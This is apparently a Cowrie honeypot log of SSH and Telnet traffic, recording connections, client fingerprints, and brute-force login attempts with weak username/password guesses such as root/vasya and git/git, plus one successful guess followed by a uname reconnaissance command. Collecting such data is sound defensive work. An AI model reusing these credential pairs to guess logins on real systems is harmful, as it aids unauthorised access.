{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33708,"dst_ip":"159.203.135.109","dst_port":22,"session":"2679a28a1dd3","protocol":"ssh","message":"New connection: 45.156.87.204:33708 (159.203.135.109:22) [session: 2679a28a1dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:20.514847Z"}
{"eventid":"cowrie.session.closed","duration":82.88156247138977,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:20.531280Z","src_ip":"152.42.224.71","session":"d1e998933f19","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:20.551435Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:20.607593Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:20.920244Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.125880Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.129143Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.136263Z","src_ip":"83.111.76.195","session":"5a9cc03ca1f0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.214844Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.220363Z","src_ip":"45.156.87.204","session":"2679a28a1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de015b8ebed","protocol":"telnet","message":"New connection: 152.42.224.71:53802 (10.17.0.5:23) [session: 0de015b8ebed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:21.787549Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46078,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfb8cacddc18","protocol":"ssh","message":"New connection: 45.156.87.204:46078 (159.203.135.109:22) [session: bfb8cacddc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.010042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.014452Z","src_ip":"45.156.87.204","session":"bfb8cacddc18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.096087Z","src_ip":"45.156.87.204","session":"bfb8cacddc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53808,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94e5e9e96a1","protocol":"telnet","message":"New connection: 152.42.224.71:53808 (10.17.0.5:23) [session: f94e5e9e96a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.119976Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.341627Z","src_ip":"45.156.87.204","session":"bfb8cacddc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53824,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08cd17b385d","protocol":"telnet","message":"New connection: 152.42.224.71:53824 (10.17.0.5:23) [session: b08cd17b385d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:24.835586Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:25.425751Z","src_ip":"45.156.87.204","session":"bfb8cacddc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46094,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2c0e72a881","protocol":"ssh","message":"New connection: 45.156.87.204:46094 (159.203.135.109:22) [session: 1c2c0e72a881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:27.460083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:27.464658Z","src_ip":"45.156.87.204","session":"1c2c0e72a881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:27.546908Z","src_ip":"45.156.87.204","session":"1c2c0e72a881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:28.048800Z","src_ip":"45.156.87.204","session":"1c2c0e72a881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:29.132770Z","src_ip":"45.156.87.204","session":"1c2c0e72a881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.728419303894043,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.507500Z","src_ip":"152.42.224.71","session":"d58d31906b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":36230,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c28ef8e1cd5","protocol":"ssh","message":"New connection: 42.200.78.78:36230 (159.203.135.109:22) [session: 8c28ef8e1cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.524655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.533035Z","src_ip":"42.200.78.78","session":"8c28ef8e1cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.746365Z","src_ip":"42.200.78.78","session":"8c28ef8e1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d2c3cafeb1","protocol":"ssh","message":"New connection: 94.159.98.239:38038 (10.17.0.5:22) [session: 02d2c3cafeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.859434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.864443Z","src_ip":"94.159.98.239","session":"02d2c3cafeb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:30.993446Z","src_ip":"94.159.98.239","session":"02d2c3cafeb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6516606f0c","protocol":"ssh","message":"New connection: 45.156.87.204:46106 (159.203.135.109:22) [session: ac6516606f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.182792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.186753Z","src_ip":"45.156.87.204","session":"ac6516606f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.268855Z","src_ip":"45.156.87.204","session":"ac6516606f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasya","message":"login attempt [root/vasya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.379083Z","src_ip":"94.159.98.239","session":"02d2c3cafeb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.517913Z","src_ip":"45.156.87.204","session":"ac6516606f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234","message":"login attempt [root/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:31.634703Z","src_ip":"42.200.78.78","session":"8c28ef8e1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:32.500121Z","src_ip":"94.159.98.239","session":"02d2c3cafeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:32.606460Z","src_ip":"45.156.87.204","session":"ac6516606f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:32.850926Z","src_ip":"42.200.78.78","session":"8c28ef8e1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58986,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c575e126c7e","protocol":"telnet","message":"New connection: 152.42.224.71:58986 (10.17.0.5:23) [session: 5c575e126c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:32.919137Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37740,"dst_ip":"159.203.135.109","dst_port":22,"session":"02fcdd2c46c8","protocol":"ssh","message":"New connection: 45.156.87.204:37740 (159.203.135.109:22) [session: 02fcdd2c46c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:34.606103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:34.610815Z","src_ip":"45.156.87.204","session":"02fcdd2c46c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:34.694980Z","src_ip":"45.156.87.204","session":"02fcdd2c46c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:35.062350Z","src_ip":"45.156.87.204","session":"02fcdd2c46c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.52681374549866,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:35.201728Z","src_ip":"152.42.224.71","session":"66d820aac79e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:36.147533Z","src_ip":"45.156.87.204","session":"02fcdd2c46c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":53812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1188f9931c84","protocol":"ssh","message":"New connection: 170.106.151.211:53812 (159.203.135.109:22) [session: 1188f9931c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:36.575348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:36.580375Z","src_ip":"170.106.151.211","session":"1188f9931c84","protocol":"ssh"}
